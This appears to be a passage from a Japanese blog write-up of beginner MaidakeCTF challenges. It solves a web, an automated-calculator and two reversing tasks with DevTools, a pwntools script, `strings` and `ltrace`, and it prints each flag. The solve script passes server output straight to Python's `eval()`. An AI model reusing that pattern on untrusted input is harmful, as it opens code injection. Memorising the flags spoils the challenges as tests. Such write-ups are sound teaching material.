<script type="text/javascript">
	$.post('flag.php').done(function(data) {
		flag = data;
	});
</script>

flag.php に POST してその内容を flag に格納したのはいいものの、どこにも出力されていません。幸い flag はグローバル変数なので、DevTools の Console で flag と入力するとフラグが得られました。

MaidakeCTF{We_can_output_javascript_variables_with_the_developer_tool_even_if_it_is_not_output_to_the_browser}

Calculator 2nd (300)

このあたりから機械の領分かもしれません。

nc (省略)

与えられた接続情報を使って問題サーバに接続してみましょう。

$ nc (省略)
Please calculate.
But division must be truncated to an integer.

579368659 + 524707900
>>

Calculator と同じように自動化しましょう。

from pwn import *
s = remote('localhost', 17270)
s.readline()
s.readline()
for _ in range(500):
  s.readline()
  t = s.readline()
  s.readuntil('>>')
  s.sendline(str(eval(t)))
  print t, eval(t)
s.interactive()
$ python2 solve.py
︙
666820959 * 526834571
351304333868573589
99592993 / 64701084
1
831806882 / 725767198
1
165495261 + 964429316
1129924577
941156737 + 822783313
1763940050
825587600 + 977175709
1802763309
622873544 + 247919424
870792968
[*] Switching to interactive mode


Congratulations!
The Flag is MaidakeCTF{The_machine_gives_accurate_answers_even_if_the_calculation_is_complicated}
[*] Got EOF while reading in interactive

フラグが得られました。

MaidakeCTF{The_machine_gives_accurate_answers_even_if_the_calculation_is_complicated}

Reversing

Strings (50)

アレをやるだけです。

添付ファイル: flag

問題名の通り、strings でバイナリ中に存在している文字列を探しましょう。

$ strings -a flag | grep CTF
MaidakeCTF{It_is_a_promise_to_execute_strings}
Welcome to MaidakeCTF.

フラグが得られました。

MaidakeCTF{It_is_a_promise_to_execute_strings}

Watchword (200)

合言葉をお願いします。

添付ファイル: problem

problem がどのようなファイルか確認しましょう。

$ file problem
problem: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=f620f180ba4356282244ff6ac5fa60ffa53cfef0, not stripped

x86-64 の ELF のようです。実行してみましょう。

$ ./problem 
Please enter watchword.
>> neko
Watchword is incorrect.

合言葉の入力が求められました。適当な文字列を入力してもダメなようです。ltrace でどのような関数が呼ばれているか確認しましょう。

$ echo neko | ltrace ./problem
printf("Please enter watchword.\n>> "Please enter watchword.
)                                                    = 27
__isoc99_scanf(0x7f8512420ac0, 0x7ffc954203f1, 0, 0)                                      = 1
strcmp("neko", "Milvas")                                                                  = 33
puts("Watchword is incorrect.">> Watchword is incorrect.
)                                                           = 24
+++ exited (status 0) +++

入力した文字列と Milvas が比較されています。Milvas を合言葉として入力してみましょう。

$ echo Milvas | ./problem
Please enter watchword.
>> Correct!!
MaidakeCTF{We_have_to_devise_various_things_when_you_confirm_the_password}

フラグが得られました。

MaidakeCTF{We_have_to_devise_various_things_when_you_confirm_the_password}
このエントリーをはてなブックマークに追加
st98.github.io / st98 の日記帳